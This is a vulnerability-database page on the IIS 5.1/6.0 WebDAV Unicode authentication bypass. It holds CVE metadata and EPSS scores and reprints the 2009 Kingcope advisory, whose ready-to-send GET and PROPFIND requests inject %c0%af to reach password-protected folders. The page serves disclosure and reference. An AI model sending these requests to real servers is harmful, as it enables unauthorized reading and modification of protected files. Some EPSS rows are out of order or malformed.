CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
33.43%
–
–
2022-03-06
–
–
26.11%
–
–
2022-04-03
–
–
26.11%
–
–
2022-05-08
–
–
24.38%
–
–
2022-07-17
–
–
2.17%
–
–
2022-07-24
–
–
24.38%
–
–
2022-09-11
–
–
20.65%
–
–
2023-02-26
–
–
20.65%
–
–
2023-03-12
–
–
–
96.86%
–
2023-03-19
–
–
–
96.47%
–
2023-06-18
–
–
–
96.41%
–
2023-07-30
–
–
–
96.47%
–
2023-10-29
–
–
–
96.19%
–
2023-12-10
–
–
–
95.96%
–
2024-01-21
–
–
–
95.55%
–
2024-04-14
–
–
–
95.04%
–
2024-06-02
–
–
–
95.55%
–
2024-06-23
–
–
–
95.3%
–
2024-08-04
–
–
–
95.46%
–
2024-09-08
–
–
–
95.55%
–
2024-10-13
–
–
–
95.04%
–
2024-11-17
–
–
–
94.39%
–
2024-12-22
–
–
–
75.35%
–
2025-01-26
–
–
–
69.86%
–
2025-03-02
–
–
–
71.57%
–
2025-01-19
–
–
–
75.35%
–
2025-01-25
–
–
–
69.86%
–
2025-03-09
–
–
–
71.57%
–
2025-03-18
–
–
–
–
91.83%
2025-03-18
–
–
–
–
91.83,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
####
# #####
#### # #####
####### ### ######
####### ###### #######
######### ####### ########
##################### #########
#### ######### ########## ####
#### ###### ####### ####
#### #### #### ####
#### # #####
######## ###### ######
###############################
# #### ##############################
####### ## # ##
###### ##### ### ## ####
##### ##### ######## #### ####### ##
##### #### # ######### #### #################
#### ##### #### ######## #### ##################
####### ##### #### ######### #### ##### #####
################# #### #### #### #### ##### #####
############## #### #### ##### ########## #############
#### ##### #### #### #### ########## ############
#### ##### ######### #### #### ##### ####
#### ######### #### ######## #### ####
##### ############# ######## ##### ###########
##### ####### #### ####### ####################
##### ##### ## ####### ############ #####
#### ########### # ## ###### #
############## ## ############## #############
##### ###### ##### ################# #############
##### ###### ############ ####
###### # ######### #### #### ####
##### ######## #### ##### #### ###########
##### ###### ################## ###########
##### ##### ################# ############
####### ######### ########### #### ####
############### ############# #### ########
############# ########## #### ################
#### ###### ### ###############
# ###
archive: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8704.pdf (2009-IIS-Advisory.pdf)
*** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***
Microsoft IIS 6.0 WebDAV Remote Authentication Bypass
Discovered by Kingcope - May 12th, 2009
Affected Vendors
Microsoft
Affected Products
Web Server
Vulnerability Details
This vulnerability allows remote attackers to bypass access restrictions
on vulnerable installations of Internet Information Server 6.0. The
specific flaw exists within the WebDAV functionality of IIS 6.0. The Web
Server fails to properly handle unicode tokens when parsing the URI and
sending back data. Exploitation of this issue can result in the
following:
Authentication bypass of password protected folders
Listing, downloading and uploading of files into a password protected WebDAV folder
Authentication bypass of password protected folders
Assume there is a password protected folder in
„d:\inetpub\wwwroot\protected\“. The password protection mechanism is
not relevant for the attack to work. Inside this folder there is a file
named „protected.zip“
The attacker sends a HTTP GET request to the web server.
GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
As seen above the URI contains the unicode character '/' (%c0%af). This
unicode character is removed in a WebDAV request. „Translate: f“
instructs the web server to handle the request using WebDAV. Using this
malicious URI construct the webserver sends the file located at
„/protected/protected.zip“ back to the attacker without asking for
proper authentication. Another valid request an attacker might send to
the web server is:
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
IIS 6.0 will remove the „%c0%af“ unicode character internally from the
request and send back the password protected file without asking for
proper credentials. ASP scripts cannot be downloaded in this way unless
serving of script source-code is enabled.
Listing files in a password protected WebDAV folder
The attack on WebDAV folders is similar. The attacker can bypass the
access restrictions of the password protected folder and list, download,
upload and modify files. The attacker sends a PROPFIND request to the
web server.
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
IIS responds with the directory listing of the folder without asking for a password.
Credit
This vulnerability was discovered by:
Nikolaos Rangos
Contact: kcope2@googlemail.com
Greetings to: alex and andi
# milw0rm.com [2009-05-15]